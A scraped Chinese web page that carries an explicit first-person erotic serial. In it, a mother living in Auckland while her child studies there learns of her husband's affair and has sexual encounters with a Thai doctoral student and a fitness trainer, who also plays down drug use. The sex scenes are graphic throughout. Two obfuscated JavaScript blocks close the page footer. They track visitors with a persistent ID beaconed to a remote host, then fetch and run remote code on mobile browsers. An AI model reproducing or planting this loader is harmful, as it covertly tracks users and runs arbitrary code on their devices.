图片载入中

约不是那么容易陪读妈妈自述0113

特大字】 【大字】 【中字】 【小字

(1)

一个陪读妈妈来到奥克兰,老公若即若离,为了孩子,我们没有考虑过离婚的问题,尽管他一年八个月在国内,在一起的日子里,性生活次数十指可数他跟我睡在一张床,每次睡觉前手机都是关机,只是几月前有一次他忘了关,半夜里手机不断的震动,一条条微信发来,来自一个叫红姐的女人……

亲爱的,想你了!卞

亲爱的,你跟你老婆做爱,我有点嫉妒啊!

XXX今天来问业务的事情了,你啥时候回来啊……

等着你回来,记得把微信删了啊!

可惜,我看到了。我大概知道红姐是他今年新的客户,没有见过面,但以前也间接知道,40多岁有些姿色,自营公司,离异,自己带孩子,在老公的行业里是个比较活跃的女人,曾和一个领导闹出过绯闻,圈内尽人皆知,没想到今天,和我老公搞出事情

老公做生意,逢场作戏去个KTV,温泉,我可以睁一只眼闭一只眼。可居然是我都间接认识的女人,年岁比我老公还大,居然还如此亲密,想着想着,我眼泪止不住流出来,看看身边熟睡的老公,有心把他打醒,但想到旁边屋子里睡着的女儿,我没有冲动,不知过了多久,含泪睡去……

(2)

第二天,我努力装的若无其事。但还是被他看出来,问,“你怎么了?”

我答:“有点不舒服,头晕。”

他做贼心虚也好,有所愧疚也好,总之,在接下来的在奥克兰的两周里,对我们娘俩很好,带我们去Spa,教孩子游泳,一起去徒步,事无巨细的扫清了一切生活障碍,水电网,花园剪草,淋浴修理,天天还很忙碌

这中间有一晚,他爬到我的身上,亲我的乳房,脖子,耳朵这些他熟知的敏感带,还多年不遇的亲了我的小妹妹,我知道他是想补偿我一下,我想尽量配合,也回应他的吻

当他试图插入的时候,我发现JJ却是半软的,在小妹妹那里蹭了又蹭,也不见起色,弄的我却很难受

他示意我帮他口,我顺从,只是那小弟弟始终不够坚硬,直到在我口中喷射而出

我把精液吐在餐巾纸上,他有些尴尬,我只躺在他身边,或东或西的聊着,燃起的性欲已经褪去,但小妹妹那种空虚感却还在,心中想到他马上要回北京跟红姐云雨,五味杂陈

(3)

他临走的最后一晚,离上次不成功的性爱,大概一个星期了,看他精神气色很好,心里想,估计是要看到红姐的缘故,心中不禁酸楚

他走了,我面对一堆的未知,心中难过

那晚,他吻我,我回应,没有过多的前戏,我手摸了一下JJ,居然坚硬的很,他只把我的两腿抬起,深深的插入,一次次的撞击我的子宫,我有点疼,想叫,但恐发出声,惊动孩子,只向他的肩上咬了一口,久久不松嘴,是报复也好,发泄也好,惩罚也好,他轻声说,“你想吧我的肉咬下一块吗?”

我松嘴,他用唇堵住我的嘴,只是用力抽插,我有了久违的高潮,他也同时倾斜而出,这时我哭了,高潮的时候,我哭过几次,这次的哭却不是因为欲仙欲死

早上,他悄悄的离开,说,“好了,不惊动孩子,由同行的朋友送他。”

他做的如此悄悄,竟然我没有感受他醒来,起身,等我醒来的时候,他应该一定快到机场了

我了微信:一个人多保重,注意身体!

他回:你也是,和闺女好好的。辛苦你了!

看完,我的泪水涟涟

(4)

老公飞走了,在国内很少打电话来了,不像我刚到纽西兰以后的第一次分开,他几乎每天都和我跟孩子视频,问这问那,关心备至

不知为什么,我又申请了一个微信号,假装同行业然后加了红姐的微信,时时关注着她的朋友圈。看着她不时的发出关于爱情的帖子,气不打一处来这时候,我选择了跟闺蜜倾诉,得到的答案是,别太苦着自己,不想离婚也可以自己找一个,有个炮友也好

闺蜜是我大学同学,豪放,跟我说话百无禁忌,经常有雷言雷语,学校里的帅哥有好几个都跟她上过床,她曾大肆告诉我和另一个女孩,和每个帅哥的做爱全部过程

后来,我们全体女生都知道,学生会主席那个帅哥哥,喜欢亲脚。见到他,我们总是笑,他还觉得自己特有魅力呢。再后来,他跟我们宿舍另一个女生好上了,那个女生告诉了他原委,这哥们从此见到我们就躲着走

我很二的,问那个女生,你跟他接吻,你不恶心啊?

从此,这姐们不理我啦

对于豪放的闺蜜,我内心里有点小羡慕的,她拿得起放得下,平时也很仗义这次,我打算听她的。不要苦着自己,为什么只许老公在外边花呢?

同时,红姐的影子也总在我眼前出现,突然有一个感觉,让另一个干我一次,是对他们的报复。于是,我开始松动了心思

(5)

在纽西兰,朋友圈不是很大,只跟另外几个妈妈混的不错,不见几个男人教会里倒是有一些男男女女的朋友总是嘘寒问暖。教会的朋友信上帝,据说圣经说不能离婚,看到有一个信教的妹妹有家暴,生活很痛苦,其她人劝她的话都是忍啊,忏悔啊,祈祷啊什么的,我忍不住说,离了算了,竟然遭到了强烈的反对

有一个男教友倒是经常跟我发个微信说说话,试图约我单独出去散步,喝咖啡,显然另有企图,这人健谈,幽默,儒雅,还挺会关心人,面对诱惑,我婉转回绝,原因是他爱人我也认识,我不想给自己招惹麻烦。我非教徒,但人家信的虔诚,我也不想做犯罪的夏娃

家庭圆满的不用说了,我身边时时有雨露滋润的落单陪读妈妈有两个,A妈妈离异,人家找男朋友无可厚非,但她不太原意带给我们看,因为是当地的管工,很不拘小节,言谈举止让我们觉得是两路人

私下里,几个妈妈开玩笑,让她换一个,她只说,有一个就先用着

另一个冒失的妈妈说,X师傅其实活挺好的,我请到家里来过

我只说:“X师傅,活好不好,不要你说。警告你不能随便用啊。”

“你们想用随便用,不要钱,器还大呢。”A妈妈笑答,我们也笑成一片B妈妈和我一样分居,孩子上学她在语言班学英语,班上有个巴西男孩追她,她给我看过照片和聊天记录,巴西小伙挺帅,言语还热情的很。可惜,是不懂收敛,人家必定是婚姻状态,你热情似火也不能破坏人家家庭啊。人家跟你上了床,并不意味着要接受你当男朋友,巴西男孩当真了,以男朋友自居,女友无奈只得换了个语言学校

B妈妈把我当成了好姐妹,我也愿意把心里话跟她说。平时经常去她那里玩,拿点自制的糕点啥的

有一天B妈妈神秘的跟我说,她的房客经常向她打听我,夸我漂亮身材好,问我啥时候还来,笑问我考虑一下不?

这个房客是个泰国人,来纽西兰学博士,跟我说话的时候有点腼腆,给我的印象是,非常干净,鼻子很大,挺清秀

我是否要考虑一个小我十岁的泰国帅哥呢?我心动了一下

(6)

下一次去B妈妈家的时候,见到了博士。博士问我有没有Facebook,我说,中国人都用微信

他马上下了一个,于是我成了他第一个微信好友,我用了红姐的那个微信号加他,加的时候有点紧张,其心情难以形容

其后,微信上开始跟博士聊天,博士腼腆羞涩,也是我第一个深入接触的泰国人,泰国给我的感觉是芭提亚的豪放,钢管舞,人妖,性表演,但这个博士不是

转周是B妈妈生日,B妈妈说弄一个小聚会,我负责生日蛋糕,约来几个朋友,家庭卡拉OK,大家一边吃饭一边欢唱,挺开心

临结束的时候,博士回来了,朋友已经走光了,只剩下我和B妈妈,正要收拾东西,我问他会唱中文歌吗,他说会两首,新鸳鸯蝴蝶梦与甜蜜蜜

我惊奇,他告诉他是看包青天长大的,喜欢展昭,甜蜜蜜则是泰国另一个电视连续剧的主题曲

我立马找到这两首歌,新鸳鸯蝴蝶梦他唱的极好,只是泰语的,一句也没有听懂,他自己会给自己打节奏,后来知道他学过打鼓,一个泰国人唱中国歌引起了我和B妈妈的热情,拍着手跟她一起唱,很High

另一首,甜蜜蜜,是他拉我的手一起唱的,我喜欢唱歌的他,很大方,像歌星。我因为喝了点酒,怕查酒驾,那夜他主动送我回家,其实我喝的两杯红酒是许可范围的,让他送我,是给他机会了的

路上,他开车,一路哼着新鸳鸯蝴蝶梦,我跟他一起唱着,他一只手开车另一只手在握我的手,我没有拒绝

到家,他停车熄火,急切的吻我,我回应,他的手的背上,腰上抚摸,我很舒服。然后他的手摸我的胸,手指轻抚我的乳头,我浑身震颤

我的手隔着裤子摸了一下他的小弟弟,印证了一句话,鼻子大的男人,JJ也大,他的超大

这时,我的手机响了,是Babysitter小姑娘打来的,问我几点回家,我说到了

博士开我的车回家,说好了明早再来还车

回家,我接到他的微信:Youaresohot

(7)

第二天,博士如约而至,本想请他来家里喝杯咖啡,但他邀请我一起探索一下B妈妈家旁边一条步道,先帮助我完成我一天一万步的计划

一路和他有说有笑,只是突然下起了小雨,没有走太远,就先回到了他住的地方

他的房间有独立进出,我进到房间里发现一切非常整洁,整洁到一尘不染我拘束的坐下,他去卫生间洗手,然后给我倒了杯开水,让我暖和一下气氛缓和,他说:“衣服湿了,去洗个澡吧。”

我答应,快速洗完裹着浴巾出来。他接着洗,我在床上等他

博士洗完,上床,爬在我的身上,长吻。我感觉到他像电棍一样的小弟弟在顶着我,我不断吮吸我的乳头,让我全身很麻,很想要

我翻身亲他,他很享受的样子。可就在我手握住他的足有20多公分JJ,鼓起好大勇气想往嘴里送帮他口的时候

奇葩的事情发生了,他说需要避孕套

开始,我没有在意,我以为是说一会插入的时候戴上的,可他说口交也需要我以为他要保护我,我说:“我不介意。”

他说他认为口交就需要戴套

我一下都懵了,心想,那就不给你口了,姐姐我省了也好

下边的情况是,他并没有套,他要插进来,我不干了。我微信给正在上语言课的B妈妈求救,问她避孕套在哪里?

她说在卧室抽屉里,门没锁,并祝我性福

我冒被另一个房客看到的险跑到卧室,拿了套回来

经过一番折腾,我的性致有点减退了,博士很激动的戴上套,迫不及待的插入,刚才春水氾滥的泽地已经有点干了,博士没有太多性经验,插的不是地方,再加上他的实在太大了,试了两次都没进来,我让他别动,我用手握他的JJ,在小穴上蹭,等湿润以后,才慢慢的送了进来

他的JJ连根进入,是顶到心脏的感觉

博士只是一个姿势一个节奏抽插,坚硬充实,没有技巧,但时间力度持久,我不知道那是多长时间,感觉很久,中间有过高潮,最后他倾泻而出,我想要抱他,安慰他一下,可他却一翻身离开我,又去洗澡了

(8)

一个人躺在床上等他洗澡很无趣,还没有等他洗完,我已经穿戴整齐了。只等他洗完打声招唿再走,他想请我吃饭,我婉拒,附近的饭店经常去,包括他推荐的泰餐厅,我不想招摇

开车到家,看手机,两条微信

博士:Youaremyfantasy。Mydreamscometrue。Missyou!

B妈妈:器大活好吗?

我回了个笑脸给博士。回B妈妈:器大?Yes。活好?没活,够勐。还有,他是不是有什么毛病啊?为什么总洗手,洗澡这么长时间?居然我给他口,他要带套,什么毛病?嫌我口臭吗?那为什么还没完没了的吻我?……

沉默良久,B妈妈回答:他有洁癖,一天洗好几遍澡,他来以后,我们水费涨了一倍,我找他谈,他说,多出来的水费他承担。我想,他给JJ带套的意思是……他认为JJ不干净……

分析到位,我恍然大悟,我也是醉啦。碰到了一个奇葩

博士之后约我看过一次电影,我答应了,受不了的是,他在每一个地方去洗手间的时候,真的去洗手。他手明显比胳膊白很多,看明白了他的洁癖,我打算敬而远之,电影后,他约我去他家,我没有答应,他把我送回我家,他要吻我,我勉强同意,他再次邀请我去他家,我说,你可以来我家喝咖啡

我相信他懂这句话的意思,可他的回答是,不渴

好吧,你不渴,我就不请你喝啦。我告辞,一下车门我瞬间明白了,为什么他不来我家,是嫌我这脏吧!

从此不再跟博士来往,一天他1000条微信我只回一条,我们是朋友,我们不合适

B妈妈告诉我,博士天天愁眉不展,害了相思病

我答:他的病真的需要看医生

(9)

博士的事情结束了,我没再敢去B妈妈家,直到几个月后博士搬走才又开始去她家聊天吃饭

不管怎么说,被人追求的感觉还是挺好的,那场电影结束约一个星期以后,博士不再给我发微信啦。我的心里也有些空落落的

我这个微信号只有两个好友,红姐和博士,红姐一般不跟我说话,她继续在朋友圈发着各种鸡汤,我怀疑博士已经把Wechat卸载了

那天晚上无聊,我点了摇一摇,摇出了一个在印度的色狼,加上好友以后就要视频聊天,我果断挂断,接下来就发了一个生殖器照片给我。我当即拉黑还摇出个西班牙开餐馆的老板,偶尔跟我说两句,发发牢骚,没有任何发展还有一个新加坡人,要了我的照片之后,号称爱上我了,一两个星期的时间吧,时不常的给我发个汇报,告诉我去哪里了,还号称马上飞纽西兰来看我,但也是这事那事,后来不了了之了

某夜,我点开了附近的人,才见到所谓“约炮”是怎么回事

扫视了以下,附近的人,发现真的有我认识的好几个朋友在,有仲介,有旁边美容店的姑娘,饭店老板……

好在我没有用我的头像与英文名用在微信号上,他们认不出我

就在当我正在看谁线上的时候,开始有人加我了,留言上就是,

可以约吗?

可以看您的照片吗?

可以聊聊吗?

直接说约的,我会直接Pass。要照片的,我一律不给,我担心会别人认出来。可以聊聊吗?也许吧,看看面相,看看他的朋友圈,再做决定

(10)

奥克兰华人圈挺小的,总是互相认识。尽管我知道,更容易和华人有共同语言,我也不大愿意发展关系,我还是在乎名声的

但还是加了几个貌似善良的华人朋友

其中一个的举动让我吃了一惊。貌似这哥们是个生意人,说话也很礼貌,我们闲聊了不少,后来向我要照片,我还是没有给,他沉默了一会,

说:能约您吗?夜很深了,您不会一点想法没有吧?有偿可以吗?

我错在,回了一句:你出多少?

他发了一个笑脸,说:这里行价两百刀。看你言谈,感觉你素质高,不是兼职,我可以给400,贴补一下。或者,你觉得多少?

接着,给我发了一个200元人民币的红包,说先付个定金

我抢过红包,但这个红包,我不敢接

话,很真诚,我想这就是地道的约炮吧?贴补一下是变相有偿,有不少女孩为此可以一试吧,我能理解,只是我不是

(11)

说说和我说过话的外国人吧(其实这个说法不对,咱们才是外国人)印度小伙很热情,但交流的内容都是你好啊,休息了吗,然后问可以去找你吗?

论坛有人让我发图,我想了想,自己的照片是万万不会发的,满足好奇心的话,就发发和外国人聊天的截屏吧,也省得我翻译了

难道英文比我还差?

说完话了,直接打视频电话,很烦人吧?

马上要见面?

还让我说多少遍呢?累了

也许人家也没啥问题吧,只是我接受不了,只能敬而远之了

(12)

好吧,和这位健身教练是有故事的

微信里教练的头像挺帅,健身的照片就在朋友圈可以看得到,说话温文尔雅,不禁真的让我有些幻想了

比如在压腿的时候,教练帮我压肩;下腰的时候,教练贴近我的身体……

再说NZ是个崇尚健身的地方,有个私交也是件很好的事

他聊天中问我,健身的目的是什么,我回答:Fit

他只说,发张照片,他来看看我的状况,以便给我定出专属的健身计划我乖乖的把照片发了过去,他通过照片准确的说出了我的身高体重,并把我恭维了一番,虽然不一定真实,还是比较受用。于是约定了时间,步行去他工作的健身房

见面一眼能认出他,没有让我失望,相貌与身材与照片里一致,没问具体年龄,估计40多点吧,那时他正有一个私交,于是先让我现在跑步机上跑20分钟

估计也就跑了十分钟吧,我刚刚开始觉得跑不动了,他微笑的走过来一切如我想像,私交非常好,尤其在最后的放松环节,他帮我抻拉身体,我们身体贴的很近,他问我,“舒服吗?”

我说,“舒服。”

他接着轻声说:“我是专业的按摩师,下次帮你按摩,会让你更舒服。”

我听得全身微颤了一下

……

纽西兰太晚了,不能写了。先就到这里吧:)

(13)

几天来,一时兴起便在论坛里写起了一些经历与感受,自觉有点卫慧,木子美的感觉,但文笔不好,帖子写完就发,全然不管文法与错字,只当个随笔,我不当真,大家也别较真。收到很多站内短信,有支持的,有关心的,更多是想约的

对于支持我的朋友,谢谢你们的理解,有你们我很开心。对于关心我,担心我的朋友,我保证会严肃对待我的婚姻与家庭,我会走好我自己的路

对于想约的朋友,不好意思,绝对没有可能,因为你们已经知道的太多了我不会让一个知道我这么多,我对他一无所知的男人在我生活中存在的对了,还有朋友让我发照片的,这自己的玉照当然不会发,但我有个冲动,打码发男士的照片,就像自拍版里男同胞去秀他们的女伴一样

可惜,俺还真没有照片,婚姻状态里的我,别说床照,一张合影都不愿留下能替代的就是发几张聊天截图,省得我打字,也算图文并茂了。怎奈,没啥脑子,不大会打码保护自己,好在有版主英雄救美,帮我把图片删了

接着说和教练的奇葩遭遇吧,本来写了两千字的一个长篇,写的时候还挺有感觉,怎奈一不留神把帖子页点没有了,现在再写已经没有了那个情绪,估计就没有状态再写两千字了。好吧,能写多少写多少吧

上篇的故事是这样开始的……

Youhaveacar?

Iamabaddriver

Youhaveobjectivesyouwouldlikefromtraining?

Haha

Icanhelpgetyoutotrainingfromyoufreesessions

Thenwehavetoworkoutothermethodstogetyouthere

It‘sonlyabout20minutewalktothegymfrom……

Iknow

话说,教练给我的私教结束以后,我想喝水,教练说最好先散个步再喝水,专业人士的话,我当然要听

教练说陪我散步,我问你不是在工作吗?

他说,知道为什么我喜欢这份工作吗?就是随时可以下班,还有人付钱让我锻炼身体

果然,他跟前台打了声招唿就陪我出来了

散步的路线有两条,一条森林步道一条海边沙滩,教练问我哪条?

我有点做贼心虚,去海边怕遇见认识的人,我选择了森林步道

一路上有说有笑很开心,走到一个有海景的长椅旁边我们坐下,教练拿出一瓶矿泉水让我慢慢喝,我慢慢喝着水,他则用手抱住了我的腰,我放下水,他在我的脸上亲了一下,说你真美

我冲他微笑了一下,他则用嘴贴上我的唇,我没有拒绝,当他用舌头打开了我的牙齿,两舌刚刚接触的时候,远处隐约听到有人说笑的声音,我赶紧推开他我们继续散步,他说他住的地方就在附近,邀我去喝杯咖啡,我问都有谁在家呢?

他说他是工作近而租的房子,housemate都是Kiwi,我确定了没有中国人,就答应了去坐坐

他住在一个很普通的临街的房子里,进到里边感觉就像个青年旅社,墙上有很旧的海报,还有两把吉他

客厅里他的两个Housemate不知谈到了什么开心的事情,正在开心的大笑。我们经过,他们更是对我非常的热情,我坐下来和他们闲谈了两句,教练趁机弄了两杯咖啡

然后教练把我带到他的房间,虽然房子不大,但有卫浴与阳台,我拿着咖啡走到阳台看着山景,感觉很好。他放下咖啡从后面抱着我,亲吻我的脖子,此刻感觉很温馨

阳台有个沙发,我坐下,喝着咖啡,教练在我后边,按我的肩,那力道正好,很舒服,很享受

这时,他的手滑倒我胸前,伸进我领口,直到两个食指都触碰到了我的乳头,只停留在那里,轻轻的撩拨,我全身酥麻。阳光,咖啡,温馨的男人,一切挺好咖啡喝完,我们起身回到房间,我们站立着,他把我带进他怀里,吻我,激吻

他的手从后面伸进我的上衣,抚摸我的背,进而解开了我的乳罩,然后手移到胸前抓我的胸,揉捏我的乳房

他忽然粗暴的揭开我的上衣,吮吸我的乳头。太迅勐,吸的力度很大,我有点疼

“Begentle。”我轻声的说,教练很听话,不再用力吮吸只用舌头舔

正当教练解开了我的仔裤扣子的时候,我忽然感觉不对。因为听到客厅里的两个KIWI还是一直在笑,“他们嗑药了吧?”我问教练

教练说,“可能。”

我一下警觉了,马上什么想法都没有啦。只说对他说:“今天我不成。”

他一摸,果真让他摸到卫生巾。其实我那天是最后一天,应该已经干净了,只是怕来运动,所以用了卫生巾

每到月事的前后几天,我还是很想的,没有荷尔蒙的驱动,可能我也不会跟第一次见面的教练回家

教练还抱着我,我感受到他的JJ在顶我了

这时他放开我,脱下裤子,他的JJ一下翘了起来,是大约九十度的那种翘,很坚硬。他用手按我的肩膀,让我跪在他面前帮他口,我跪下了,用手感受了一下硬度,鼓起勇气张嘴把他的JJ放进了嘴里,吞吐了两下,虽然比博士的短些,但粗壮的多

这时,我又听到了客厅里的笑声,这时听起来感觉就像恐怖片里的人声。我对他说:“今天真的不成,我们toofast。”

我想我当时跪在地上求他的感觉一定是可怜巴巴的,他也没有强求我,慢慢手里的JJ也小于了九十度,可以穿上他的裤子了

我借口马上要去接孩子放学,就迅速逃离了现场

我之后没有再见教练,他还在我的微信好友上边,偶尔聊两句,他很真诚的告诉我他们经常吸大麻,偶尔也碰一些别的药,他说所谓毒品并没有那么可怕,并给我讲了各种药的用后体验,也许按他说的,也许并没有什么,但我是个小女子还是记住那句话,远离毒品,珍惜生命

感谢美剧,单身毒妈和绝命毒师,让我对毒品有点概念,没想到来了个真实版本的

好了,就到这里吧,约并不是那么容易

【未完待续】


上一篇:无法想像的一天02

下一篇:笑傲神雕


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};